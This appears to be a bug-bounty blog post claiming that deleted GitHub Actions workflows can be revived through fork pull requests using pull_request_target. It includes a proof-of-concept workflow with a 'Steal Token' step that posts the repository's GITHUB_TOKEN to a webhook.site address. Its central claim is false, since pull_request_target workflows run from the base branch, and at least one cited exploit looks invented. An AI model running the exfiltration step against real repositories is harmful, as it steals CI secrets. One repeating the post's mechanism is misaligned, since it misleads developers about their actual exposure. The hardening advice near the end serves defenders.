Sitemap

The Ghost CI Attack: How Deleted GitHub Workflows Can Still Haunt You 👻

4 min readJul 6, 2025

--

Hey hackers 👾

Just when you think you’ve cleaned up your CI/CD — deleted all those old YAML files and locked things down — GitHub has a spooky surprise for you.

Today’s post is about a subtle but serious attack vector that’s still affecting many public repositories:

Deleted or stale GitHub Actions workflows that come back to life and run with full permissions.

Sounds crazy? Let me show you how attackers can resurrect old CI jobs, steal secrets, and gain repo-wide access — even if the vulnerable workflow was deleted months ago.

🕵️‍♂️ The Setup: Deleted ≠ Dead

Most developers assume that if they remove a workflow file from .github/workflows, it’s gone for good.

But here’s what I found while poking around old commits in a GitHub repo:

GitHub still executes workflows from branches or commits that contain the YAML file — even if it’s no longer in the main branch.

And if your workflow was triggered by pull_request_target, that’s a problem. Because pull_request_target runs:
• In the base repo’s context (not the fork)
• With full access to secrets
• With a write-enabled GITHUB_TOKEN

That’s like saying:

“We deleted the keys, but the house still opens.”

💣 The Attack: Reviving the Workflow

Here’s how an attacker (or a bug bounty hunter 😎) can bring a “dead” workflow back to life:

▶️ Step-by-step:

  1. Find a repo that previously had a sensitive GitHub Actions workflow (check commit history).
  2. Fork it, and reintroduce the old .github/workflows/ci.yml file in a new commit.
  3. Open a pull request to the original repo.
  4. If the repo uses pull_request_target, GitHub will:
    - Run your reintroduced workflow
    - Inject secrets and GITHUB_TOKEN
    - Execute it from your fork’s code but in the base repo’s trust context

Result: The attacker’s malicious workflow is executed with elevated privileges.

🧪 Proof of Concept (PoC)

Let’s say the deleted workflow once looked like this:

on:
pull_request_target:
branches:
- main

jobs:
ci:
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- name: Checkout PR code
uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.ref }}
- name: Steal Token
run: curl -X POST https://webhook.site/<your-id> -H "X-Auth: ${{ secrets.GITHUB_TOKEN }}"

Just by recreating this file in your fork, your pull request causes the base repo’s token to get sent to your webhook. No hardcoded secrets required — just runtime trust abuse.

⚠️ Real-World Exploits

This isn’t theoretical.

  • [CVE-2021–22862] — GitHub bounty hunter Teddy Katz showed how you could point a PR’s base to a specific commit (even if its branch was deleted), triggering a malicious pull_request_target workflow. Full access. Fully paid.
  • “Ghost Branch” Reopen Trick — By naming a new branch after a deleted one that shares a commit hash (deadbeef), GitHub resolves the PR base to the attacker’s commit and runs the workflow. Secrets included.
  • Workflow Chain Abuse — Trigger a benign workflow, then use workflow_run to trigger a privileged second job. Even if the first one had no secrets, the second one does. Attack chained.

🛡️ Defense: How to Stop the Haunting

If you’re a developer, here’s how to put your CI ghosts to rest:

🔒 Lock Down Permissions

permissions:
contents: read
pull-requests: none

Only grant the bare minimum. Never leave defaults.

🛑 Avoid pull_request_target for untrusted PRs

This trigger runs in the base repo context — very risky. If you must use it:

  • Never check out head.ref from PRs
  • Don’t run arbitrary code from forks

🔐 Use Environments with Required Reviewers

Secrets in environments require manual approval. This kills any automated exfiltration attempts dead in their tracks.

🧹 Delete Workflows from All Branches

Just deleting from main isn’t enough. Old branches or forks might still have them.

👮‍♂️ Protect Workflow Files

Use CODEOWNERS to restrict changes to .github/workflows/**. Treat CI like application code — review everything.

🧠 For Bug Bounty Hunters

When hunting:

  • Check commit history for old workflows
  • See if pull_request_target or workflow_run is still active
  • Try resurrecting the file in a fork and triggering it via PR
  • Look for leaked secrets or write access with stolen tokens

This is a powerful and under-tested attack surface — especially in mature projects with years of commit history.

✨ Final Thoughts

CI/CD isn’t just automation — it’s an extension of your production environment.

A forgotten workflow file or a loose permission in a GitHub Action can be the one thing standing between you and full repo compromise.

So to developers: audit your workflows like you audit your endpoints.
And to fellow hunters: look in the shadows — sometimes, the best bugs are the ones that have already been deleted. 😉

Until next time — happy hacking!

🧠

--

--

No responses yet